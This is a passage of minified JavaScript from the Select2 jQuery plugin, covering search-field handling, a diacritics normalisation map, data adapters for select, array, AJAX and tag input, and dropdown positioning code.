input.searchcheck"):(t=e.which)!=r.SHIFT&&t!=r.CTRL&&t!=r.ALT&&t!=r.TAB&&o.handleSearch(e)})},t.prototype._transferTabIndex=function(e){this.$search.attr("tabindex",this.$selection.attr("tabindex")),this.$selection.attr("tabindex","-1")},t.prototype.createPlaceholder=function(e,t){this.$search.attr("placeholder",t.text)},t.prototype.update=function(e,t){var n=this.$search[0]==document.activeElement;this.$search.attr("placeholder",""),e.call(this,t),this.$selection.find(".select2-selection__rendered").append(this.$searchContainer),this.resizeSearch(),n&&this.$search.focus()},t.prototype.handleSearch=function(){var e;this.resizeSearch(),this._keyUpPrevented||(e=this.$search.val(),this.trigger("query",{term:e})),this._keyUpPrevented=!1},t.prototype.searchRemoveChoice=function(e,t){this.trigger("unselect",{data:t}),this.$search.val(t.text),this.handleSearch()},t.prototype.resizeSearch=function(){this.$search.css("width","25px");var e="";e=""!==this.$search.attr("placeholder")?this.$selection.find(".select2-selection__rendered").innerWidth():.75*(this.$search.val().length+1)+"em",this.$search.css("width",e)},t}),u.define("select2/selection/eventRelay",["jquery"],function(r){function e(){}return e.prototype.bind=function(e,t,n){var o=this,i=["open","opening","close","closing","select","selecting","unselect","unselecting"],s=["opening","closing","selecting","unselecting"];e.call(this,t,n),t.on("*",function(e,t){var n;-1!==r.inArray(e,i)&&(t=t||{},n=r.Event("select2:"+e,{params:t}),o.$element.trigger(n),-1!==r.inArray(e,s)&&(t.prevented=n.isDefaultPrevented()))})},e}),u.define("select2/translation",["jquery","require"],function(t,n){function o(e){this.dict=e||{}}return o.prototype.all=function(){return this.dict},o.prototype.get=function(e){return this.dict[e]},o.prototype.extend=function(e){this.dict=t.extend({},e.all(),this.dict)},o._cache={},o.loadPath=function(e){var t;return e in o._cache||(t=n(e),o._cache[e]=t),new o(o._cache[e])},o}),u.define("select2/diacritics",[],function(){return{"Ⓐ":"A","A":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","B":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","C":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","D":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","DZ":"DZ","DŽ":"DZ","Dz":"Dz","Dž":"Dz","Ⓔ":"E","E":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","F":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","G":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","H":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","I":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","J":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","K":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","L":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","LJ":"LJ","Lj":"Lj","Ⓜ":"M","M":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","N":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","NJ":"NJ","Nj":"Nj","Ⓞ":"O","O":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","P":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Q":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","R":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","S":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","T":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","U":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","V":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","W":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","X":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Y":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Z":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","a":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","b":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","c":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","d":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","dz":"dz","dž":"dz","ⓔ":"e","e":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","f":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","g":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","h":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","i":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","j":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","k":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","l":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","lj":"lj","ⓜ":"m","m":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","n":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ʼn":"n","ꞑ":"n","ꞥ":"n","nj":"nj","ⓞ":"o","o":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","p":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","q":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","r":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","s":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","t":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","u":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","v":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","w":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","x":"x","ẋ":"x","ẍ":"x","ⓨ":"y","y":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","z":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ω":"ω","ς":"σ"}}),u.define("select2/data/base",["../utils"],function(o){function n(e,t){n.__super__.constructor.call(this)}return o.Extend(n,o.Observable),n.prototype.current=function(e){throw new Error("The `current` method must be defined in child classes.")},n.prototype.query=function(e,t){throw new Error("The `query` method must be defined in child classes.")},n.prototype.bind=function(e,t){},n.prototype.destroy=function(){},n.prototype.generateResultId=function(e,t){var n="";return n+=null!=e?e.id:o.generateChars(4),n+="-result-",n+=o.generateChars(4),null!=t.id?n+="-"+t.id.toString():n+="-"+o.generateChars(4),n},n}),u.define("select2/data/select",["./base","../utils","jquery"],function(e,t,r){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return t.Extend(n,e),n.prototype.current=function(e){var t=[],n=this;this.$element.find(":selected").each(function(){var e=r(this),e=n.item(e);t.push(e)}),e(t)},n.prototype.select=function(i){var e,s=this;if(i.selected=!0,r(i.element).is("option"))return i.element.selected=!0,void this.$element.trigger("change");this.$element.prop("multiple")?this.current(function(e){var t=[];(i=[i]).push.apply(i,e);for(var n=0;n<i.length;n++){var o=i[n].id;-1===r.inArray(o,t)&&t.push(o)}s.$element.val(t),s.$element.trigger("change")}):(e=i.id,this.$element.val(e),this.$element.trigger("change"))},n.prototype.unselect=function(i){var s=this;if(this.$element.prop("multiple")){if(i.selected=!1,r(i.element).is("option"))return i.element.selected=!1,void this.$element.trigger("change");this.current(function(e){for(var t=[],n=0;n<e.length;n++){var o=e[n].id;o!==i.id&&-1===r.inArray(o,t)&&t.push(o)}s.$element.val(t),s.$element.trigger("change")})}},n.prototype.bind=function(e,t){var n=this;(this.container=e).on("select",function(e){n.select(e.data)}),e.on("unselect",function(e){n.unselect(e.data)})},n.prototype.destroy=function(){this.$element.find("*").each(function(){r.removeData(this,"data")})},n.prototype.query=function(t,e){var n=[],o=this;this.$element.children().each(function(){var e=r(this);(e.is("option")||e.is("optgroup"))&&(e=o.item(e),null!==(e=o.matches(t,e))&&n.push(e))}),e({results:n})},n.prototype.addOptions=function(e){t.appendMany(this.$element,e)},n.prototype.option=function(e){var t;e.children?(t=document.createElement("optgroup")).label=e.text:void 0!==(t=document.createElement("option")).textContent?t.textContent=e.text:t.innerText=e.text,void 0!==e.id&&(t.value=e.id),e.disabled&&(t.disabled=!0),e.selected&&(t.selected=!0),e.title&&(t.title=e.title);var n=r(t),e=this._normalizeItem(e);return e.element=t,r.data(t,"data",e),n},n.prototype.item=function(e){var t={};if(null!=(t=r.data(e[0],"data")))return t;if(e.is("option"))t={id:e.val(),text:e.text(),disabled:e.prop("disabled"),selected:e.prop("selected"),title:e.prop("title")};else if(e.is("optgroup")){t={text:e.prop("label"),children:[],title:e.prop("title")};for(var n=e.children("option"),o=[],i=0;i<n.length;i++){var s=r(n[i]),s=this.item(s);o.push(s)}t.children=o}return(t=this._normalizeItem(t)).element=e[0],r.data(e[0],"data",t),t},n.prototype._normalizeItem=function(e){r.isPlainObject(e)||(e={id:e,text:e});return null!=(e=r.extend({},{text:""},e)).id&&(e.id=e.id.toString()),null!=e.text&&(e.text=e.text.toString()),null==e._resultId&&e.id&&(e._resultId=this.generateResultId(this.container,e)),r.extend({},{selected:!1,disabled:!1},e)},n.prototype.matches=function(e,t){return this.options.get("matcher")(e,t)},n}),u.define("select2/data/array",["./select","../utils","jquery"],function(e,c,u){function o(e,t){var n=t.get("data")||[];o.__super__.constructor.call(this,e,t),this.addOptions(this.convertToOptions(n))}return c.Extend(o,e),o.prototype.select=function(n){var e=this.$element.find("option").filter(function(e,t){return t.value==n.id.toString()});0===e.length&&(e=this.option(n),this.addOptions(e)),o.__super__.select.call(this,n)},o.prototype.convertToOptions=function(e){var t=this,n=this.$element.find("option"),o=n.map(function(){return t.item(u(this)).id}).get(),i=[];for(var s=0;s<e.length;s++){var r,a,l=this._normalizeItem(e[s]);0<=u.inArray(l.id,o)?(r=n.filter(function(e){return function(){return u(this).val()==e.id}}(l)),a=this.item(r),a=u.extend(!0,{},l,a),a=this.option(a),r.replaceWith(a)):(a=this.option(l),l.children&&(l=this.convertToOptions(l.children),c.appendMany(a,l)),i.push(a))}return i},o}),u.define("select2/data/ajax",["./array","../utils","jquery"],function(e,t,s){function n(e,t){this.ajaxOptions=this._applyDefaults(t.get("ajax")),null!=this.ajaxOptions.processResults&&(this.processResults=this.ajaxOptions.processResults),n.__super__.constructor.call(this,e,t)}return t.Extend(n,e),n.prototype._applyDefaults=function(e){var t={data:function(e){return s.extend({},e,{q:e.term})},transport:function(e,t,n){e=s.ajax(e);return e.then(t),e.fail(n),e}};return s.extend({},t,e,!0)},n.prototype.processResults=function(e){return e},n.prototype.query=function(t,n){var o=this;null!=this._request&&(s.isFunction(this._request.abort)&&this._request.abort(),this._request=null);var i=s.extend({type:"GET"},this.ajaxOptions);function e(){var e=i.transport(i,function(e){e=o.processResults(e,t);o.options.get("debug")&&window.console&&console.error&&(e&&e.results&&s.isArray(e.results)||console.error("Select2: The AJAX results did not return an array in the `results` key of the response.")),n(e),o.container.focusOnActiveElement()},function(){e.status&&"0"===e.status||o.trigger("results:message",{message:"errorLoading"})});o._request=e}"function"==typeof i.url&&(i.url=i.url.call(this.$element,t)),"function"==typeof i.data&&(i.data=i.data.call(this.$element,t)),this.ajaxOptions.delay&&null!=t.term?(this._queryTimeout&&window.clearTimeout(this._queryTimeout),this._queryTimeout=window.setTimeout(e,this.ajaxOptions.delay)):e()},n}),u.define("select2/data/tags",["jquery"],function(a){function e(e,t,n){var o=n.get("tags"),i=n.get("createTag");void 0!==i&&(this.createTag=i);i=n.get("insertTag");if(void 0!==i&&(this.insertTag=i),e.call(this,t,n),a.isArray(o))for(var s=0;s<o.length;s++){var r=o[s],r=this._normalizeItem(r),r=this.option(r);this.$element.append(r)}}return e.prototype.query=function(e,c,u){var d=this;this._removeOldTags(),null!=c.term&&null==c.page?e.call(this,c,function e(t,n){for(var o=t.results,i=0;i<o.length;i++){var s=o[i],r=null!=s.children&&!e({results:s.children},!0);if((s.text||"").toUpperCase()===(c.term||"").toUpperCase()||r)return!n&&(t.data=o,void u(t))}if(n)return!0;var a,l=d.createTag(c);null!=l&&((a=d.option(l)).attr("data-select2-tag",!0),d.addOptions([a]),d.insertTag(o,l)),t.results=o,u(t)}):e.call(this,c,u)},e.prototype.createTag=function(e,t){t=a.trim(t.term);return""===t?null:{id:t,text:t}},e.prototype.insertTag=function(e,t,n){t.unshift(n)},e.prototype._removeOldTags=function(e){this._lastTag;this.$element.find("option[data-select2-tag]").each(function(){this.selected||a(this).remove()})},e}),u.define("select2/data/tokenizer",["jquery"],function(c){function e(e,t,n){var o=n.get("tokenizer");void 0!==o&&(this.tokenizer=o),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){e.call(this,t,n),this.$search=t.dropdown.$search||t.selection.$search||n.find(".select2-search__field")},e.prototype.query=function(e,t,n){var o=this;t.term=t.term||"";var i=this.tokenizer(t,this.options,function(e){var t,n=o._normalizeItem(e);o.$element.find("option").filter(function(){return c(this).val()===n.id}).length||((t=o.option(n)).attr("data-select2-tag",!0),o._removeOldTags(),o.addOptions([t])),t=n,o.trigger("select",{data:t})});i.term!==t.term&&(this.$search.length&&(this.$search.val(i.term),this.$search.focus()),t.term=i.term),e.call(this,t,n)},e.prototype.tokenizer=function(e,t,n,o){for(var i=n.get("tokenSeparators")||[],s=t.term,r=0,a=this.createTag||function(e){return{id:e.term,text:e.term}};r<s.length;){var l=s[r];-1!==c.inArray(l,i)?(l=s.substr(0,r),null!=(l=a(c.extend({},t,{term:l})))?(o(l),s=s.substr(r+1)||"",r=0):r++):r++}return{term:s}},e}),u.define("select2/data/minimumInputLength",[],function(){function e(e,t,n){this.minimumInputLength=n.get("minimumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",t.term.length<this.minimumInputLength?this.trigger("results:message",{message:"inputTooShort",args:{minimum:this.minimumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),u.define("select2/data/maximumInputLength",[],function(){function e(e,t,n){this.maximumInputLength=n.get("maximumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",0<this.maximumInputLength&&t.term.length>this.maximumInputLength?this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),u.define("select2/data/maximumSelectionLength",[],function(){function e(e,t,n){this.maximumSelectionLength=n.get("maximumSelectionLength"),e.call(this,t,n)}return e.prototype.query=function(t,n,o){var i=this;this.current(function(e){e=null!=e?e.length:0;0<i.maximumSelectionLength&&e>=i.maximumSelectionLength?i.trigger("results:message",{message:"maximumSelected",args:{maximum:i.maximumSelectionLength}}):t.call(i,n,o)})},e}),u.define("select2/dropdown",["jquery","./utils"],function(t,e){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return e.Extend(n,e.Observable),n.prototype.render=function(){var e=t('<span class="select2-dropdown"><span class="select2-results"></span></span>');return e.attr("dir",this.options.get("dir")),this.$dropdown=e},n.prototype.bind=function(){},n.prototype.position=function(e,t){},n.prototype.destroy=function(){this.$dropdown.remove()},n}),u.define("select2/dropdown/search",["jquery","../utils"],function(s,e){function t(){}return t.prototype.render=function(e){var t=e.call(this),e=s('<span class="select2-search select2-search--dropdown"><input class="select2-search__field" type="text" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="combobox" aria-autocomplete="list" aria-expanded="true" /></span>');return this.$searchContainer=e,this.$search=e.find("input"),t.prepend(e),t},t.prototype.bind=function(e,t,n){var o=this,i=t.id+"-results";e.call(this,t,n),this.$search.on("keydown",function(e){o.trigger("keypress",e),o._keyUpPrevented=e.isDefaultPrevented()}),this.$search.on("input",function(e){s(this).off("keyup")}),this.$search.on("keyup input",function(e){o.handleSearch(e)}),t.on("open",function(){o.$search.attr("tabindex",0),o.$search.attr("aria-owns",i),o.$search.focus(),window.setTimeout(function(){o.$search.focus()},0)}),t.on("close",function(){o.$search.attr("tabindex",-1),o.$search.removeAttr("aria-activedescendant"),o.$search.removeAttr("aria-owns"),o.$search.val("")}),t.on("focus",function(){t.isOpen()||o.$search.focus()}),t.on("results:all",function(e){null!=e.query.term&&""!==e.query.term||(o.showSearch(e)?o.$searchContainer.removeClass("select2-search--hide"):o.$searchContainer.addClass("select2-search--hide"))}),t.on("results:focus",function(e){o.$search.attr("aria-activedescendant",e.data._resultId)})},t.prototype.handleSearch=function(e){var t;this._keyUpPrevented||(t=this.$search.val(),this.trigger("query",{term:t})),this._keyUpPrevented=!1},t.prototype.showSearch=function(e,t){return!0},t}),u.define("select2/dropdown/hidePlaceholder",[],function(){function e(e,t,n,o){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n,o)}return e.prototype.append=function(e,t){t.results=this.removePlaceholder(t.results),e.call(this,t)},e.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},e.prototype.removePlaceholder=function(e,t){for(var n=t.slice(0),o=t.length-1;0<=o;o--){var i=t[o];this.placeholder.id===i.id&&n.splice(o,1)}return n},e}),u.define("select2/dropdown/infiniteScroll",["jquery"],function(i){function e(e,t,n,o){this.lastParams={},e.call(this,t,n,o),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return e.prototype.append=function(e,t){this.$loadingMore.remove(),this.loading=!1,e.call(this,t),this.showLoadingMore(t)&&this.$results.append(this.$loadingMore)},e.prototype.bind=function(e,t,n){var o=this;e.call(this,t,n),t.on("query",function(e){o.lastParams=e,o.loading=!0}),t.on("query:append",function(e){o.lastParams=e,o.loading=!0}),this.$results.on("scroll",function(){var e=i.contains(document.documentElement,o.$loadingMore[0]);!o.loading&&e&&(e=o.$results.offset().top+o.$results.outerHeight(!1),o.$loadingMore.offset().top+o.$loadingMore.outerHeight(!1)<=e+50&&o.loadMore())})},e.prototype.loadMore=function(){this.loading=!0;var e=i.extend({},{page:1},this.lastParams);e.page++,this.trigger("query:append",e)},e.prototype.showLoadingMore=function(e,t){return t.pagination&&t.pagination.more},e.prototype.createLoadingMore=function(){var e=i('<li class="select2-results__option select2-results__option--load-more"role="option" aria-disabled="true"></li>'),t=this.options.get("translations").get("loadingMore");return e.html(t(this.lastParams)),e},e}),u.define("select2/dropdown/attachBody",["jquery","../utils"],function(c,r){function e(e,t,n){this.$dropdownParent=n.get("dropdownParent")||c(document.body),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var o=this,i=!1;e.call(this,t,n),t.on("open",function(){o._showDropdown(),o._attachPositioningHandler(t),i||(i=!0,t.on("results:all",function(){o._positionDropdown(),o._resizeDropdown()}),t.on("results:append",function(){o._positionDropdown(),o._resizeDropdown()}))}),t.on("close",function(){o._hideDropdown(),o._detachPositioningHandler(t)}),this.$dropdownContainer.on("mousedown",function(e){e.stopPropagation()})},e.prototype.destroy=function(e){e.call(this),this.$dropdownContainer.remove()},e.prototype.position=function(e,t,n){t.attr("class",n.attr("class")),t.removeClass("select2"),t.addClass("select2-container--open"),t.css({position:"absolute",top:-999999}),this.$container=n},e.prototype.render=function(e){var t=c("<span></span>"),e=e.call(this);return t.append(e),this.$dropdownContainer=t},e.prototype._hideDropdown=function(e){this.$dropdownContainer.detach()},e.prototype._attachPositioningHandler=function(e,t){var n=this,o="scroll.select2."+t.id,i="resize.select2."+t.id,s="orientationchange.select2."+t.id,t=this.$container.parents().filter(r.hasScroll);t.each(function(){c(this).data("select2-scroll-position",{x:c(this).scrollLeft(),y:c(this).scrollTop()})}),t.on(o,function(e){var t=c(this).data("select2-scroll-position");c(this).scrollTop(t.y)}),c(window).on(o+" "+i+" "+s,function(e){n._positionDropdown(),n._resizeDropdown()})},e.prototype._detachPositioningHandler=function(e,t){var n="scroll.select2."+t.id,o="resize.select2."+t.id,t="orientationchange.select2."+t.id;this.$container.parents().filter(r.hasScroll).off(n),c(window).off(n+" "+o+" "+t)},e.prototype._positionDropdown=function(){var e=c(window),t=this.$dropdown.hasClass("select2-dropdown--above"),n=this.$dropdown.hasClass("select2-dropdown--below"),o=null,i=this.$container.offset();i.bottom=i.top+this.$container.outerHeight(!1);var s={height:this.$container.outerHeight(!1)};s.top=i.top,s.bottom=i.top+s.height;var 